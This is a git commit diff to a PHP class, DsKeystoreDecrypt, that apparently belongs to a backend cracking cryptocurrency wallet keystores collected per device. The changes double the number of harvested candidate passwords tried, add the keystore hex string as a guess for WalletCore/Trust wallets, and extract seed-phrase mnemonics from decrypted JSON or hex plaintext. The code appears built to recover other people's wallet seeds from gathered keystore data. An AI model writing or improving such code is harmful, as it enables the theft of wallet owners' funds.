This commit is contained in:
hashbro
2026-08-24 07:07:56 +08:00
parent 0dfb93f451
commit cd07fe62fd
6 changed files with 154 additions and 34 deletions
+22 -2
View File
@@ -89,7 +89,7 @@ final class DsKeystoreDecrypt
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
$passwords = array_slice($this->uniquePasswords($passwords), 0, 16);
if ($passwords === []) {
return [];
}
@@ -318,7 +318,14 @@ final class DsKeystoreDecrypt
return [];
}
return $this->passwordsFromString($raw);
$out = $this->passwordsFromString($raw);
// WalletCore / Trust sometimes treat the hex text itself as the password.
if (strlen($hex) === 64 || strlen($hex) === 128) {
$out[] = strtolower($hex);
$out[] = strtoupper($hex);
}
return $out;
}
/**
@@ -424,6 +431,19 @@ final class DsKeystoreDecrypt
private function asMnemonic(string $plain): ?string
{
$plain = trim($plain, "\0 \t\n\r");
if (str_starts_with($plain, '{')) {
$json = json_decode($plain, true);
if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) {
$plain = $json['mnemonic'];
}
}
if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) {
$bin = @hex2bin($plain);
if (is_string($bin) && str_contains($bin, ' ')) {
$plain = $bin;
}
}
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);